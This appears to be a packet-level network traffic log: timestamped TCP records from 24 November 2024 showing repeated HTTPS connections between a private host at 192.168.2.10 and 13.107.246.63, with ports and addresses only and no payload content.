Nov 24, 2024 08:45:07.544869900 CET	443	50009	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.548624039 CET	443	50009	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.548676968 CET	443	50009	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.548702002 CET	50009	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.548754930 CET	50009	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.548829079 CET	50009	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.548841953 CET	443	50009	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.548856020 CET	50009	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.548861027 CET	443	50009	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.552292109 CET	50014	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.552352905 CET	443	50014	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.552429914 CET	50014	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.552598000 CET	50014	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.552615881 CET	443	50014	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.942403078 CET	443	50010	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.947865963 CET	443	50010	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.948000908 CET	50010	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.948039055 CET	50010	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.948059082 CET	443	50010	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.948070049 CET	50010	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.948076963 CET	443	50010	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.952502966 CET	50015	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.952565908 CET	443	50015	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.952672958 CET	50015	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.952831030 CET	50015	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.952841997 CET	443	50015	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.083945990 CET	443	50011	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.084744930 CET	50011	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.084785938 CET	443	50011	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.085189104 CET	50011	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.085196972 CET	443	50011	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.191231966 CET	443	50012	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.191972971 CET	50012	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.192002058 CET	443	50012	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.192475080 CET	50012	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.192483902 CET	443	50012	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.199300051 CET	443	50013	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.199871063 CET	50013	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.199903965 CET	443	50013	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.200221062 CET	50013	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.200229883 CET	443	50013	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.333117008 CET	443	50014	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.333826065 CET	50014	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.333849907 CET	443	50014	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.334427118 CET	50014	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.334433079 CET	443	50014	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.540458918 CET	443	50011	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.543512106 CET	443	50011	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.543596029 CET	50011	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.543625116 CET	443	50011	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.543648958 CET	443	50011	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.543802023 CET	50011	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.543802023 CET	50011	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.543802023 CET	50011	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.547350883 CET	50016	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.547406912 CET	443	50016	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.547498941 CET	50016	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.547703028 CET	50016	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.547719955 CET	443	50016	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.640799046 CET	443	50012	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.643897057 CET	443	50012	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.643980026 CET	50012	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.644020081 CET	50012	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.644045115 CET	443	50012	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.644059896 CET	50012	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.644068003 CET	443	50012	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.647422075 CET	50017	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.647480965 CET	443	50017	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.647557974 CET	50017	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.647722006 CET	50017	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.647733927 CET	443	50017	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.649188042 CET	443	50013	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.652236938 CET	443	50013	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.652301073 CET	50013	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.652343988 CET	443	50013	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.652369976 CET	443	50013	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.652410984 CET	50013	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.652435064 CET	50013	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.652451992 CET	443	50013	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.652461052 CET	50013	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.652466059 CET	443	50013	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.656264067 CET	50018	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.656311989 CET	443	50018	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.656394958 CET	50018	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.656511068 CET	50018	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.656527042 CET	443	50018	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.779143095 CET	443	50014	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.781853914 CET	443	50014	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.781981945 CET	50014	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.782047987 CET	50014	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.782073021 CET	443	50014	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.782089949 CET	50014	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.782097101 CET	443	50014	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.785382032 CET	50019	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.785429955 CET	443	50019	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.785540104 CET	50019	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.785672903 CET	50019	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.785681963 CET	443	50019	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.798229933 CET	443	50015	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.809978008 CET	50015	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.810009956 CET	443	50015	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.810529947 CET	50015	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.810538054 CET	443	50015	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:09.857309103 CET	50011	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:09.857346058 CET	443	50011	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:10.253607988 CET	443	50015	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:10.256735086 CET	443	50015	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:10.256803036 CET	50015	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:10.256850958 CET	50015	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:10.256872892 CET	443	50015	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:10.256886005 CET	50015	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:10.256891966 CET	443	50015	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:10.260166883 CET	50020	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:10.260201931 CET	443	50020	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:10.260276079 CET	50020	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:10.260415077 CET	50020	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:10.260426044 CET	443	50020	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.264550924 CET	443	50016	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.265212059 CET	50016	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.265263081 CET	443	50016	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.265760899 CET	50016	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.265769005 CET	443	50016	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.373256922 CET	443	50017	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.374034882 CET	50017	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.374085903 CET	443	50017	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.374542952 CET	50017	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.374552965 CET	443	50017	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.440099001 CET	443	50018	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.440907955 CET	50018	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.440959930 CET	443	50018	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.441307068 CET	50018	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.441315889 CET	443	50018	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.498838902 CET	443	50019	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.528732061 CET	50019	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.528774023 CET	443	50019	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.529256105 CET	50019	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.529263020 CET	443	50019	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.703358889 CET	443	50016	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.706459999 CET	443	50016	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.706512928 CET	50016	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.706515074 CET	443	50016	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.706557989 CET	50016	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.706792116 CET	50016	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.706820965 CET	443	50016	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.706835032 CET	50016	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.706842899 CET	443	50016	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.709969044 CET	50021	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.710015059 CET	443	50021	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.710093021 CET	50021	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.710226059 CET	50021	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.710239887 CET	443	50021	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.807852983 CET	443	50017	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.812119007 CET	443	50017	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.812207937 CET	50017	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.812376022 CET	50017	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.812376022 CET	50017	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.812396049 CET	443	50017	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.812405109 CET	443	50017	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.816517115 CET	50022	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.816564083 CET	443	50022	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.816632032 CET	50022	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.816803932 CET	50022	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.816814899 CET	443	50022	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.895335913 CET	443	50018	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.898283958 CET	443	50018	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.898418903 CET	50018	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.898459911 CET	50018	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.898480892 CET	443	50018	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.898494005 CET	50018	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.898502111 CET	443	50018	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.901946068 CET	50023	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.902002096 CET	443	50023	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.902081966 CET	50023	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.902259111 CET	50023	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.902273893 CET	443	50023	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.942641973 CET	443	50019	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.942676067 CET	443	50019	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.942723036 CET	443	50019	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.942811012 CET	50019	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.942862988 CET	50019	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.943197966 CET	50019	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.943216085 CET	443	50019	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.943233967 CET	50019	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.943238974 CET	443	50019	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.946826935 CET	50024	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.946887970 CET	443	50024	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:11.947007895 CET	50024	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.947185993 CET	50024	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:11.947206020 CET	443	50024	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:12.108594894 CET	443	50020	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:12.109433889 CET	50020	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:12.109472990 CET	443	50020	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:12.109932899 CET	50020	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:12.109939098 CET	443	50020	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:12.564131975 CET	443	50020	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:12.567490101 CET	443	50020	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:12.567600012 CET	50020	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:12.567658901 CET	50020	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:12.567658901 CET	50020	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:12.567686081 CET	443	50020	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:12.567698956 CET	443	50020	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:12.571101904 CET	50025	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:12.571152925 CET	443	50025	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:12.571257114 CET	50025	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:12.571451902 CET	50025	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:12.571464062 CET	443	50025	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:13.477838993 CET	443	49980	173.222.162.55	192.168.2.10
Nov 24, 2024 08:45:13.477895021 CET	49980	443	192.168.2.10	173.222.162.55
Nov 24, 2024 08:45:13.556957006 CET	443	50021	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:13.557518005 CET	50021	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:13.557557106 CET	443	50021	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:13.558013916 CET	50021	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:13.558021069 CET	443	50021	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:13.676054955 CET	443	50022	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:13.676693916 CET	50022	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:13.676739931 CET	443	50022	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:13.677242994 CET	50022	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:13.677252054 CET	443	50022	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:13.751748085 CET	443	50023	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:13.752537966 CET	50023	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:13.752571106 CET	443	50023	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:13.753038883 CET	50023	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:13.753045082 CET	443	50023	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:13.803770065 CET	443	50024	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:13.804426908 CET	50024	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:13.804465055 CET	443	50024	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:13.804934978 CET	50024	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:13.804941893 CET	443	50024	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.010427952 CET	443	50021	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.012868881 CET	443	50021	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.012928963 CET	443	50021	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.012952089 CET	50021	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.012990952 CET	50021	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.013040066 CET	50021	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.013067961 CET	443	50021	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.013086081 CET	50021	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.013092995 CET	443	50021	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.016150951 CET	50026	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.016194105 CET	443	50026	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.016273975 CET	50026	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.016444921 CET	50026	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.016458988 CET	443	50026	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.131206989 CET	443	50022	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.134216070 CET	443	50022	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.134284019 CET	50022	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.134352922 CET	50022	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.134373903 CET	443	50022	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.134390116 CET	50022	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.134396076 CET	443	50022	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.137420893 CET	50027	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.137458086 CET	443	50027	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.137540102 CET	50027	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.137797117 CET	50027	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.137805939 CET	443	50027	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.205773115 CET	443	50023	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.208775997 CET	443	50023	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.208950043 CET	50023	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.209201097 CET	50023	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.209234953 CET	443	50023	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.209300995 CET	50023	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.209309101 CET	443	50023	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.213182926 CET	50028	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.213237047 CET	443	50028	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.213349104 CET	50028	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.213543892 CET	50028	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.213561058 CET	443	50028	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.258443117 CET	443	50024	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.261703968 CET	443	50024	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.261753082 CET	443	50024	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.261930943 CET	50024	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.262100935 CET	50024	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.262125969 CET	443	50024	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.262139082 CET	50024	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.262145042 CET	443	50024	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.265537024 CET	50029	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.265600920 CET	443	50029	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.265693903 CET	50029	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.265887976 CET	50029	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.265902042 CET	443	50029	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.357333899 CET	443	50025	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.358108997 CET	50025	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.358141899 CET	443	50025	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.358634949 CET	50025	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.358644962 CET	443	50025	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.802706003 CET	443	50025	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.805948973 CET	443	50025	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.806045055 CET	50025	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.806093931 CET	50025	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.806118965 CET	443	50025	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.806129932 CET	50025	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.806135893 CET	443	50025	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.810219049 CET	50030	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.810266018 CET	443	50030	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:14.810374975 CET	50030	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.810636044 CET	50030	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:14.810648918 CET	443	50030	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:15.797997952 CET	443	50026	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:15.798695087 CET	50026	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:15.798718929 CET	443	50026	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:15.799122095 CET	50026	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:15.799129009 CET	443	50026	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:15.917370081 CET	443	50027	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:15.917934895 CET	50027	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:15.917958975 CET	443	50027	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:15.918622017 CET	50027	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:15.918647051 CET	443	50027	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:15.928334951 CET	443	50028	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:15.928828955 CET	50028	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:15.928848028 CET	443	50028	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:15.929424047 CET	50028	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:15.929428101 CET	443	50028	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.112659931 CET	443	50029	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.113166094 CET	50029	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.113195896 CET	443	50029	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.113641024 CET	50029	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.113646984 CET	443	50029	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.242343903 CET	443	50026	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.242727041 CET	443	50026	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.242810011 CET	50026	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.242847919 CET	50026	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.242868900 CET	443	50026	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.242883921 CET	50026	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.242888927 CET	443	50026	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.246437073 CET	50031	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.246483088 CET	443	50031	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.246581078 CET	50031	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.246767044 CET	50031	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.246776104 CET	443	50031	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.360177040 CET	443	50027	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.363781929 CET	443	50027	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.363832951 CET	443	50027	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.363864899 CET	50027	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.363903046 CET	50027	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.363965988 CET	50027	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.363980055 CET	443	50027	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.363992929 CET	50027	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.363997936 CET	443	50027	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.366274118 CET	443	50028	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:16.367223978 CET	50032	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:16.367249012 CET	443	50032	13.107.246.63	192.168.2.10
